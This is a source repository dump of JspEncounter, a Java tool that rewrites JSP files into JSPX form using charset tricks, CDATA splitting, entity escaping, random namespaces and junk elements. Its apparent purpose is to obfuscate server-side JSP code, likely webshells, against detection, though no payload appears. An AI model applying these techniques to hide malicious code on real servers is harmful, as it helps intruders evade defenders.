Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JSP下的白魔法:JspEncounter 2 | 3 | ## 基础说明 4 | 5 | ### 环境要求 6 | 7 | 环境要求:JDK8 8 | 9 | 本项目在win10/tomcat10下编译测试,其他平台有问题请反馈 10 | 11 | ### 工具参数说明 12 | 13 | 工具有两种模式,通过 --mode 进行设置 :jsp模式将source文件转换为output ;encode模式则是单纯地使用编码器进行编码。 14 | 15 | ``` 16 | _ ______ _ 17 | | | | ____| | | 18 | | |___ _ __ | |__ _ __ ___ ___ _ _ _ __ | |_ ___ _ __ 19 | _ | / __| '_ \| __| | '_ \ / __/ _ \| | | | '_ \| __/ _ \ '__| 20 | | |__| \__ \ |_) | |____| | | | (_| (_) | |_| | | | | || __/ | 21 | \____/|___/ .__/|______|_| |_|\___\___/ \__,_|_| |_|\__\___|_| 22 | | | 23 | |_| 24 | usage: java -jar JspEncounter.jar 25 | -c,--config xlsx config file 26 | -cdata,--cdata cdata cap: -1, 10 ... 27 | -charset,--charset charset name: utf-8, utf-16be ... 28 | -e,--encode encode mode's encoding: charset, cdata, 29 | entity 30 | -entity,--entity entity type: 10, 16, 13 ... 31 | -help usage help 32 | -m,--mode jspfile or encode 33 | -o,--output output file: default result.jsp/result.txt 34 | -removeBom,--removeBom removeBom : default true 35 | -s,--source source file 36 | 37 | demo: 38 | java "-Dfile.encoding=utf-8" -jar JspEncounter.jar -m jsp -c matrix.xlsx -s source.jsp -o result.jsp 39 | java -jar JspEncounter.jar -m encode --encode charset --charset utf-16be -s source.txt -o result.txt 40 | ``` 41 | 42 | #### jsp mode 43 | 44 | 如下示例,指定配置文件`martix.xlsx`,将源文件source.jsp转换为result.jsp 45 | 46 | ``` 47 | "C:\Program Files\Java\jdk1.8.0_191\bin\java.exe" "-Dfile.encoding=utf-8" -jar JspEncounter.jar -m jsp -c matrix.xlsx -s source.jsp -o result.jsp 48 | ``` 49 | 50 | 配置文件的配置可参考 `Jsp下的白魔法` 一文 51 | 52 | 原始jsp文件要求使用 `<%@page ... >%>`、 `<%! ..%> `、 `<% %>`三种标签,且每种标签可出现多次,但顺序需要固定为这里列出的顺序。 53 | 54 | #### encode mode 55 | 56 | encode模式的编码器有三种: 57 | 58 | ``` 59 | --mode encode 60 | --encode cdata 61 | --cdata -1,10 62 | --encode charset 63 | --charset utf-16be ... 64 | --removeBom Default: true 65 | --encode entity 66 | --entity 10 16 13 67 | ``` 68 | 69 | 转换source.txt的字符集: 70 | 71 | ``` 72 | "C:\Program Files\Java\jdk1.8.0_191\bin\java" -jar JspEncounter.jar -m encode --encode charset --charset utf-16be -s source.txt -o result.txt 73 | ``` 74 | 75 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | com.jsp.encounter 8 | JspEncounter 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | 15 | 16 | 17 | 18 | 19 | commons-cli 20 | commons-cli 21 | 1.4 22 | 23 | 24 | 25 | commons-io 26 | commons-io 27 | 2.11.0 28 | 29 | 30 | 31 | org.apache.commons 32 | commons-lang3 33 | 3.12.0 34 | 35 | 36 | org.dom4j 37 | dom4j 38 | 2.1.3 39 | 40 | 41 | 42 | 43 | org.apache.poi 44 | poi 45 | 4.1.2 46 | 47 | 48 | org.apache.poi 49 | poi-ooxml 50 | 4.1.2 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | org.apache.maven.plugins 62 | maven-shade-plugin 63 | 3.1.1 64 | 65 | 66 | 67 | 68 | 69 | package 70 | 71 | shade 72 | 73 | 74 | 75 | 76 | 77 | org.apache.maven.plugins 78 | maven-compiler-plugin 79 | 80 | 8 81 | 8 82 | 83 | 84 | 85 | 86 | org.apache.maven.plugins 87 | maven-jar-plugin 88 | 3.2.0 89 | 90 | 91 | 92 | true 93 | lib/ 94 | galaxy.jsp.encounter.Main 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | org.apache.maven.plugins 104 | maven-dependency-plugin 105 | 3.1.1 106 | 107 | 108 | copy 109 | package 110 | 111 | copy-dependencies 112 | 113 | 114 | 115 | ${project.build.directory}/lib 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | org.apache.maven.plugins 124 | maven-resources-plugin 125 | 3.1.0 126 | 127 | 128 | 129 | -------------------------------------------------------------------------------- /src/main/java/galaxy/jsp/encounter/Main.java: -------------------------------------------------------------------------------- 1 | package galaxy.jsp.encounter; 2 | 3 | import galaxy.jsp.encounter.cfg.Config; 4 | import galaxy.jsp.encounter.charset.CharsetEncoder; 5 | import galaxy.jsp.encounter.jsp.JspBean; 6 | import galaxy.jsp.encounter.jsp.JspXML; 7 | import galaxy.jsp.encounter.jsp.Translator; 8 | import galaxy.jsp.encounter.util.Utils; 9 | import galaxy.jsp.encounter.xml.Options; 10 | import org.apache.commons.cli.*; 11 | import org.apache.commons.io.IOUtils; 12 | 13 | import java.io.*; 14 | import java.nio.charset.StandardCharsets; 15 | 16 | public class Main { 17 | 18 | 19 | public static void main(String[] args) throws Exception{ 20 | 21 | try { 22 | 23 | CommandLineParser commandLineParser = new DefaultParser(); 24 | org.apache.commons.cli.Options cmdOption = new org.apache.commons.cli.Options(); 25 | 26 | cmdOption.addOption("help","usage help"); 27 | cmdOption.addOption(Option.builder("m").required().hasArg(true).longOpt("mode").type(String.class).desc( 28 | "jspfile or encode").build()); 29 | cmdOption.addOption(Option.builder("c").required(false).hasArg(true).longOpt("config").type(String.class).desc( 30 | "xlsx config file").build()); 31 | // cmdOption.addOption(Option.builder("cfgE").required(false).hasArg(true).longOpt("configFileEncoding").type(String.class).desc( 32 | // "xlsx config file's encoding,default gbk").build()); 33 | cmdOption.addOption(Option.builder("s").required(false).hasArg(true).longOpt("source").type(String.class).desc( 34 | "source file").build()); 35 | cmdOption.addOption(Option.builder("o").required(false).hasArg(true).longOpt("output").type(String.class).desc( 36 | "output file: default result.jsp/result.txt").build()); 37 | cmdOption.addOption(Option.builder("e").required(false).hasArg(true).longOpt("encode").type(String.class).desc( 38 | "encode mode's encoding: charset, cdata, entity").build()); 39 | cmdOption.addOption(Option.builder("charset").required(false).hasArg(true).longOpt("charset").type(String.class).desc( 40 | "charset name: utf-8, utf-16be ...").build()); 41 | cmdOption.addOption(Option.builder("removeBom").required(false).hasArg(true).longOpt("removeBom").type(Boolean.class).desc( 42 | "removeBom : default true").build()); 43 | cmdOption.addOption(Option.builder("entity").required(false).hasArg(true).longOpt("entity").type(String.class).desc( 44 | "entity type: 10, 16, 13 ...").build()); 45 | cmdOption.addOption(Option.builder("cdata").required(false).hasArg(true).longOpt("cdata").type(String.class).desc( 46 | "cdata cap: -1, 10 ...").build()); 47 | CommandLine cl = null; 48 | try { 49 | 50 | cl = commandLineParser.parse(cmdOption, args); 51 | } catch (ParseException e) { 52 | printLogo(); 53 | System.out.println(getHelpString(cmdOption)); 54 | System.out.println("demo: \r\n java \"-Dfile.encoding=utf-8\" -jar JspEncounter.jar -m jsp -c " + 55 | "matrix" + 56 | ".xlsx -s source.jsp -o result.jsp"); 57 | System.out.println(" java -jar JspEncounter.jar -m encode --encode charset --charset utf-16be -s " + 58 | "source.txt -o" + 59 | " result.txt"); 60 | return; 61 | } 62 | 63 | String src = cl.getOptionValue("source"); 64 | if (src == null ) { 65 | throw new Exception("source file not set"); 66 | } 67 | String o = cl.getOptionValue("o"); 68 | 69 | 70 | String srcStr = IOUtils.toString(new FileInputStream(src), StandardCharsets.UTF_8); 71 | if ("jsp".equals(cl.getOptionValue("m"))) { 72 | String xlsx = cl.getOptionValue("config"); 73 | if (xlsx==null) { 74 | throw new Exception("config file not set"); 75 | } 76 | if (o == null) { 77 | o = "result.jsp"; 78 | } 79 | InputStream inputStreamXlsx = new FileInputStream(xlsx); 80 | JspBean bean = Translator.TranslateToBean(srcStr); 81 | Options options = Config.ParseCfg(inputStreamXlsx); 82 | 83 | FileOutputStream outputStream = new FileOutputStream(o); 84 | 85 | JspXML.BeanToXML(outputStream, bean, options); 86 | }else{ 87 | if (o == null) { 88 | o = "result.txt"; 89 | } 90 | String encode = cl.getOptionValue("encode"); 91 | byte[] bytes = null; 92 | if ("charset".equals(encode)) { 93 | bytes = CharsetEncoder.Encode(srcStr, cl.getOptionValue("charset", "utf-8"), 94 | Boolean.parseBoolean(cl.getOptionValue("removeBom","true"))); 95 | }else if ("cdata".equals(encode)){ 96 | String result = Utils.WrapWithCdata(srcStr, Integer.parseInt(cl.getOptionValue("cdata", "10"))); 97 | bytes = result.getBytes(StandardCharsets.UTF_8); 98 | }else if ("entity".equals(encode)){ 99 | String result = Utils.EscapeText(srcStr, true, Integer.parseInt(cl.getOptionValue("entity","10") )); 100 | bytes = result.getBytes(StandardCharsets.UTF_8); 101 | } 102 | FileOutputStream fileOutputStream = new FileOutputStream(o); 103 | assert bytes != null; 104 | fileOutputStream.write(bytes); 105 | fileOutputStream.close(); 106 | } 107 | 108 | 109 | } catch (Exception ignore) { 110 | ignore.printStackTrace(); 111 | } 112 | } 113 | 114 | private static void printLogo() { 115 | System.out.println( " _ ______ _ \n" + 116 | " | | | ____| | | \n" + 117 | " | |___ _ __ | |__ _ __ ___ ___ _ _ _ __ | |_ ___ _ __ \n" + 118 | " _ | / __| '_ \\| __| | '_ \\ / __/ _ \\| | | | '_ \\| __/ _ \\ '__|\n" + 119 | " | |__| \\__ \\ |_) | |____| | | | (_| (_) | |_| | | | | || __/ | \n" + 120 | " \\____/|___/ .__/|______|_| |_|\\___\\___/ \\__,_|_| |_|\\__\\___|_| \n" + 121 | " | | \n" + 122 | " |_| "); 123 | } 124 | 125 | private static String getHelpString(org.apache.commons.cli.Options options) { 126 | 127 | 128 | HelpFormatter helpFormatter = new HelpFormatter(); 129 | 130 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 131 | PrintWriter printWriter = new PrintWriter(byteArrayOutputStream); 132 | helpFormatter.printHelp(printWriter, HelpFormatter.DEFAULT_WIDTH, "java -jar JspEncounter.jar", null, 133 | options, HelpFormatter.DEFAULT_LEFT_PAD, HelpFormatter.DEFAULT_DESC_PAD, null); 134 | printWriter.flush(); 135 | String help = new String(byteArrayOutputStream.toByteArray()); 136 | printWriter.close(); 137 | 138 | return help; 139 | } 140 | } 141 | -------------------------------------------------------------------------------- /src/main/java/galaxy/jsp/encounter/cfg/Config.java: -------------------------------------------------------------------------------- 1 | package galaxy.jsp.encounter.cfg; 2 | 3 | import galaxy.jsp.encounter.xml.Options; 4 | import galaxy.jsp.encounter.util.Utils; 5 | import org.apache.commons.lang3.tuple.ImmutablePair; 6 | import org.apache.poi.xssf.usermodel.XSSFCell; 7 | import org.apache.poi.xssf.usermodel.XSSFRow; 8 | import org.apache.poi.xssf.usermodel.XSSFSheet; 9 | import org.apache.poi.xssf.usermodel.XSSFWorkbook; 10 | 11 | import java.io.InputStream; 12 | import java.lang.reflect.Type; 13 | import java.util.HashMap; 14 | import java.util.Map; 15 | 16 | public class Config { 17 | 18 | 19 | private static boolean validCell(XSSFCell cell) { 20 | if (cell == null) { 21 | return false; 22 | } 23 | return cell.getCellStyle().getFont().getBold(); 24 | } 25 | 26 | private static String formatCellValue(String value) { 27 | if (value.length() > 0 && value.charAt(0)=='`') { 28 | value = value.substring(1); 29 | } 30 | if (value.length() > 0 && value.charAt(value.length()-1)=='`') { 31 | value = value.substring(0,value.length()-1); 32 | } 33 | return value; 34 | } 35 | 36 | 37 | 38 | public static Options ParseCfg(InputStream inputStream) throws Exception { 39 | 40 | 41 | Options options = new Options(); 42 | // 43 | // InputStream inputStream = Config.class.getResourceAsStream("/matrix.xlsx"); 44 | 45 | XSSFWorkbook book = new XSSFWorkbook(inputStream); 46 | XSSFSheet sheet = book.getSheetAt(0); 47 | 48 | int startRow = -1; 49 | int startCol = -1; 50 | for (int rowIndex = 0; rowIndex < sheet.getPhysicalNumberOfRows(); rowIndex++) { 51 | XSSFRow row = sheet.getRow(rowIndex); 52 | 53 | // 定位表格 54 | if (startRow == -1) { 55 | for (int colIndex = 0; colIndex < row.getPhysicalNumberOfCells(); colIndex++) { 56 | String s = row.getCell(colIndex).getStringCellValue(); 57 | if ("matrix".equalsIgnoreCase(s)) { 58 | startRow = rowIndex + 1; 59 | startCol = colIndex; 60 | break; 61 | } 62 | } 63 | continue; 64 | } 65 | 66 | 67 | int cfgIndex = startCol+1; 68 | if (row == null) { 69 | continue; 70 | } 71 | String cfg = row.getCell(cfgIndex).getStringCellValue(); 72 | if (cfg == null || cfg.length() == 0) { 73 | continue; 74 | } 75 | if ("extTag".equals(cfg)) { 76 | // 验证有没有加粗 77 | 78 | cfgIndex += 1; 79 | if (!validCell(row.getCell(cfgIndex))) { 80 | continue; 81 | } 82 | String tagName = row.getCell(cfgIndex).getStringCellValue(); 83 | int maxColIndex = row.getPhysicalNumberOfCells(); 84 | Map map = null; 85 | String k = null; 86 | for (int colIndex = cfgIndex+1; colIndex < maxColIndex; colIndex++) { 87 | XSSFCell cell = row.getCell(colIndex); 88 | if (!validCell(cell)) { 89 | continue; 90 | } 91 | String value = formatCellValue(cell.getStringCellValue()); 92 | 93 | if (map == null) { 94 | map = new HashMap<>(); 95 | } 96 | if (k == null) { 97 | k = value; 98 | }else{ 99 | map.put(k, value); 100 | k = null; 101 | } 102 | } 103 | options.extTags.add(new ImmutablePair<>(tagName, map)); 104 | }else{ 105 | Type type = Utils.GetFieldType(options, cfg); 106 | 107 | int maxColIndex = row.getPhysicalNumberOfCells(); 108 | Map map = null; 109 | String k = null; 110 | for (int colIndex = cfgIndex+1; colIndex < maxColIndex; colIndex++) { 111 | XSSFCell cell = row.getCell(colIndex); 112 | if (!validCell(cell)) { 113 | continue; 114 | } 115 | String value = formatCellValue(cell.getStringCellValue()); 116 | if (type == String.class) { 117 | Utils.SetFieldValue(options, cfg, value); 118 | } else if (type == boolean.class) { 119 | Utils.SetFieldValue(options,cfg, "true".equalsIgnoreCase(value)); 120 | } else if (type == int.class) { 121 | Utils.SetFieldValue(options, cfg, Integer.valueOf(value)); 122 | } else if ("java.util.Map".equals(type.getTypeName()) ) { 123 | if (map == null) { 124 | map = new HashMap<>(); 125 | } 126 | if (k == null) { 127 | k = value; 128 | }else{ 129 | map.put(k, value); 130 | k = null; 131 | } 132 | } 133 | 134 | } 135 | if ("java.util.Map".equals(type.getTypeName())) { 136 | Utils.SetFieldValue(options, cfg, map); 137 | } 138 | } 139 | 140 | } 141 | //System.out.println(options); 142 | return options; 143 | 144 | } 145 | } 146 | -------------------------------------------------------------------------------- /src/main/java/galaxy/jsp/encounter/charset/CharsetEncoder.java: -------------------------------------------------------------------------------- 1 | package galaxy.jsp.encounter.charset; 2 | 3 | import galaxy.jsp.encounter.util.Utils; 4 | //import sun.nio.cs.StreamEncoder; 5 | 6 | import java.io.ByteArrayOutputStream; 7 | import java.io.OutputStream; 8 | import java.io.Writer; 9 | import java.lang.reflect.Constructor; 10 | import java.nio.ByteBuffer; 11 | import java.nio.charset.Charset; 12 | import java.nio.charset.StandardCharsets; 13 | import java.util.Arrays; 14 | 15 | public class CharsetEncoder { 16 | 17 | public static byte[] Encode(String text,String charset, boolean removeBom) throws Exception { 18 | 19 | if (text == null || text.length()==0) { 20 | return null; 21 | } 22 | Charset charset1 = Charset.forName(charset); 23 | byte[] result = null; 24 | ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); 25 | 26 | //Constructor c = StreamEncoder.class.getDeclaredConstructor(OutputStream.class, Object.class, Charset 27 | // .class); 28 | Constructor c =Utils.GetClass("sun.nio.cs.StreamEncoder").getDeclaredConstructor(OutputStream.class, 29 | Object.class, Charset.class); 30 | c.setAccessible(true); 31 | // StreamEncoder streamEncoder = (StreamEncoder) c.newInstance(outputStream, "LOCK",charset1); 32 | Writer streamEncoder = (Writer) c.newInstance(outputStream, "LOCK",charset1); 33 | 34 | if (!removeBom) { 35 | if (StandardCharsets.UTF_16BE == charset1) { 36 | outputStream.write( 0xfe); 37 | outputStream.write( 0xff); 38 | 39 | } else if (StandardCharsets.UTF_16LE == charset1) { 40 | outputStream.write( 0xff); 41 | outputStream.write( 0xfe); 42 | 43 | }else if (StandardCharsets.UTF_8 == charset1) { 44 | outputStream.write( 0xef); 45 | outputStream.write( 0xbb); 46 | outputStream.write( 0xbf); 47 | } 48 | 49 | } 50 | streamEncoder.write(text.substring(0,1)); 51 | ByteBuffer bb = (ByteBuffer) Utils.GetFieldValue("sun.nio.cs.StreamEncoder", "bb", streamEncoder); 52 | int bomSize = bb.position(); 53 | if (removeBom) { 54 | streamEncoder.write(text); 55 | } else { 56 | streamEncoder.write(text.substring(1)); 57 | } 58 | 59 | streamEncoder.close(); 60 | outputStream.close(); 61 | 62 | result = outputStream.toByteArray(); 63 | 64 | if (removeBom) { 65 | result = Arrays.copyOfRange(result, bomSize, result.length); 66 | } 67 | 68 | 69 | 70 | return result; 71 | } 72 | 73 | } 74 | 75 | -------------------------------------------------------------------------------- /src/main/java/galaxy/jsp/encounter/jsp/JspBean.java: -------------------------------------------------------------------------------- 1 | package galaxy.jsp.encounter.jsp; 2 | 3 | import java.util.ArrayList; 4 | import java.util.List; 5 | import java.util.Map; 6 | 7 | public class JspBean { 8 | 9 | // jsp:directive.page|jsp:directive.include 10 | // jsp:scriptlet|jsp:declaration|jsp:expression 11 | //jsp:directive.tag 12 | List> pages ; 13 | List> include ; 14 | 15 | List declarations; 16 | List scriptlets; 17 | List expressions; 18 | 19 | @Override 20 | public String toString() { 21 | return "JspBean{" + 22 | "pages=" + pages + 23 | ", include=" + include + 24 | ", declarations=" + declarations + 25 | ", expressions=" + expressions + 26 | ", scriptlets=" + scriptlets + 27 | '}'; 28 | } 29 | 30 | public void setExpressions(List expressions) { 31 | this.expressions = expressions; 32 | } 33 | 34 | public List getExpressions() { 35 | return expressions; 36 | } 37 | 38 | public void addPage(Map page) { 39 | if (pages == null) { 40 | pages = new ArrayList<>(); 41 | } 42 | pages.add(page); 43 | } 44 | 45 | public List> getPages() { 46 | return pages; 47 | } 48 | 49 | 50 | public List getScriptlets() { 51 | return scriptlets; 52 | } 53 | 54 | public void addsScriptlets(String dec) { 55 | if (scriptlets == null) { 56 | scriptlets = new ArrayList<>(); 57 | } 58 | scriptlets.add(dec); 59 | } 60 | 61 | public void setScriptlets(List scriptlets) { 62 | this.scriptlets = scriptlets; 63 | } 64 | 65 | public void setDeclarations(List declarations) { 66 | this.declarations = declarations; 67 | } 68 | 69 | public List getDeclarations() { 70 | return declarations; 71 | } 72 | 73 | public void addDeclaration(String dec) { 74 | if (declarations == null) { 75 | declarations = new ArrayList<>(); 76 | } 77 | declarations.add(dec); 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /src/main/java/galaxy/jsp/encounter/jsp/JspXML.java: -------------------------------------------------------------------------------- 1 | package galaxy.jsp.encounter.jsp; 2 | 3 | 4 | import galaxy.jsp.encounter.util.Const; 5 | import galaxy.jsp.encounter.util.Utils; 6 | import galaxy.jsp.encounter.charset.CharsetEncoder; 7 | import galaxy.jsp.encounter.xml.JspXMLWriter; 8 | import galaxy.jsp.encounter.xml.Options; 9 | import org.apache.commons.lang3.RandomStringUtils; 10 | import org.apache.commons.lang3.tuple.Pair; 11 | import org.dom4j.*; 12 | import org.dom4j.io.OutputFormat; 13 | 14 | import java.io.ByteArrayOutputStream; 15 | import java.io.OutputStream; 16 | import java.nio.charset.Charset; 17 | import java.nio.charset.StandardCharsets; 18 | import java.util.*; 19 | import java.util.regex.Matcher; 20 | import java.util.regex.Pattern; 21 | 22 | public class JspXML { 23 | 24 | public static void BeanToXML(OutputStream outputStream,JspBean bean, Options options) throws Exception { 25 | 26 | if (options.charsetMagic != null) { 27 | String headerRaw = String.format("", options.xmlVersion, 28 | options.charsetMagic); 29 | byte[] header = CharsetEncoder.Encode(headerRaw, options.charsetMagic,options.removeBom); 30 | outputStream.write(header); 31 | } 32 | 33 | ByteArrayOutputStream bodyOutputStream = new ByteArrayOutputStream(); 34 | BeanToBodyXML(bodyOutputStream, bean, options); 35 | 36 | 37 | String bodyStr = bodyOutputStream.toString(); 38 | if (options.removeJspRootTag) { 39 | String lf = "\n"; 40 | int index1 = bodyStr.indexOf(lf,1); 41 | int index2 = bodyStr.lastIndexOf(lf); 42 | bodyStr = bodyStr.substring(index1, index2); 43 | } 44 | 45 | 46 | // 前置declare,则需要与charsetMagic的一致 47 | String tagWord = ""; 48 | int kIndex = bodyStr.indexOf(tagWord); 49 | String bodyStrPrefix = bodyStr.substring(0, kIndex); 50 | bodyStrPrefix = Utils.RStrip(bodyStrPrefix); 51 | String bodyStrSuffix = bodyStr.substring(kIndex+tagWord.length()); 52 | String charsetTmp = options.charsetMagic != null ? options.charsetMagic : options.charsetDeclare; 53 | // if (options.charsetMagic== null) { 54 | // bodyStrPrefix = bodyStrPrefix.trim(); 55 | // } 56 | 57 | byte[] bodyPrefix = CharsetEncoder.Encode(bodyStrPrefix, charsetTmp, true); 58 | outputStream.write(bodyPrefix); 59 | 60 | if (options.controllerSpaceReplace!=null) { 61 | //if (options.controllerSpaceOn) { 62 | byte[] marks = CharsetEncoder.Encode("§", options.charsetDeclare, true); 63 | byte[] bodySuffix = CharsetEncoder.Encode(bodyStrSuffix, options.charsetDeclare, true); 64 | Charset charset = Charset.forName(options.charsetDeclare); 65 | ByteArrayOutputStream tmpStream = new ByteArrayOutputStream(); 66 | int needIgnore = 0; 67 | for (int bodyIndex=0;bodyIndex0) { 69 | needIgnore -=1; 70 | continue; 71 | } 72 | // 前面流程替换了标签中text数据的空白字符为§ 73 | //152:-62 153:-89 length725 74 | byte bodyChar = bodySuffix[bodyIndex]; 75 | 76 | if (bodyIndex + marks.length < bodySuffix.length) { 77 | boolean matchMarks = true; 78 | for (int markIndex=0;markIndex> pages,Options options) { 145 | if (Const.DeclareAttr.pageEncoding.name().equals(options.charsetDeclareAttr)) { 146 | pages.add(new HashMap() {{ 147 | put(options.charsetDeclareAttr, options.charsetDeclare); 148 | }}); 149 | }else{ 150 | pages.add(new HashMap() {{ 151 | put(options.charsetDeclareAttr, 152 | RandomStringUtils.randomAlphabetic(10)+"charset="+options.charsetDeclare); 153 | }}); 154 | } 155 | } 156 | 157 | private static void BeanToBodyXML(OutputStream outputStream, JspBean bean, Options options) throws Exception { 158 | if (options.namespace!=null && options.namespace.startsWith("random")) { 159 | int n = Integer.parseInt(options.namespace.split(",")[1]); 160 | options.namespace = RandomStringUtils.randomAlphabetic(n); 161 | } 162 | Namespace jspNs = new Namespace(options.namespace, "http://java.sun.com/JSP/Page"); 163 | Document document = DocumentHelper.createDocument(); 164 | 165 | Element root = document.addElement(new QName("root", jspNs)); 166 | root.addAttribute("version", options.jspVersion); 167 | 168 | // filter 169 | List> pages = new ArrayList<>(); 170 | String[] filters = new String[]{Const.DeclareAttr.pageEncoding.name(), 171 | Const.DeclareAttr.contentType.name()}; 172 | for (Map attrs : bean.getPages()) { 173 | Map tmp = null; 174 | for (String k : attrs.keySet()) { 175 | if (Arrays.stream(filters).anyMatch(f -> f.equalsIgnoreCase(k))) { 176 | continue; 177 | } 178 | if (tmp == null) { 179 | tmp = new HashMap<>(); 180 | } 181 | tmp.put(k, attrs.get(k)); 182 | } 183 | if (tmp != null) { 184 | if (!options.charsetDeclareLater) { 185 | addPageEncoding(pages, options); 186 | } 187 | pages.add(tmp); 188 | } 189 | } 190 | 191 | if (pages.size() == 0 && !options.charsetDeclareLater) { 192 | addPageEncoding(pages, options); 193 | } 194 | 195 | 196 | int count = 0; 197 | for (Map attrs : pages) { 198 | Element ele = root.addElement(new QName("directive.page", jspNs)); 199 | for (String k : attrs.keySet()) { 200 | ele.addAttribute(k, attrs.get(k)); 201 | } 202 | if (count == 0) { 203 | root.addElement("asdfqwezxcv"); 204 | } 205 | count += 1; 206 | } 207 | 208 | 209 | if (bean.getDeclarations() != null) { 210 | for (String txt : bean.getDeclarations()) { 211 | Element ele = root.addElement(new QName("declaration", jspNs)); 212 | //Element ele =addElement(root, new QName("declaration", jspNs)); 213 | txt = codeEscape(txt, options); 214 | ele.setText(txt); 215 | } 216 | } 217 | 218 | if (bean.getExpressions() != null) { 219 | for (String txt : bean.getExpressions()) { 220 | Element ele = root.addElement(new QName("expression", jspNs)); 221 | //Element ele = addElement(root, new QName("expression", jspNs)); 222 | txt = codeEscape(txt, options); 223 | ele.setText(txt); 224 | } 225 | } 226 | 227 | boolean isSetTagCode = false; 228 | // § 标记出现次数 229 | int markCount = 0; 230 | for (Pair> extTag : options.extTags) { 231 | String name = extTag.getLeft(); 232 | isSetTagCode = true; 233 | Map attrs = extTag.getRight(); 234 | for (String val : attrs.values()) { 235 | 236 | markCount += Utils.CountChar(val, '§'); 237 | } 238 | } 239 | 240 | if (isSetTagCode) { 241 | StringBuilder sb = new StringBuilder(); 242 | for (String txt : bean.getScriptlets()) { 243 | sb.append(txt); 244 | } 245 | String text = sb.toString(); 246 | 247 | 248 | String[] lines = 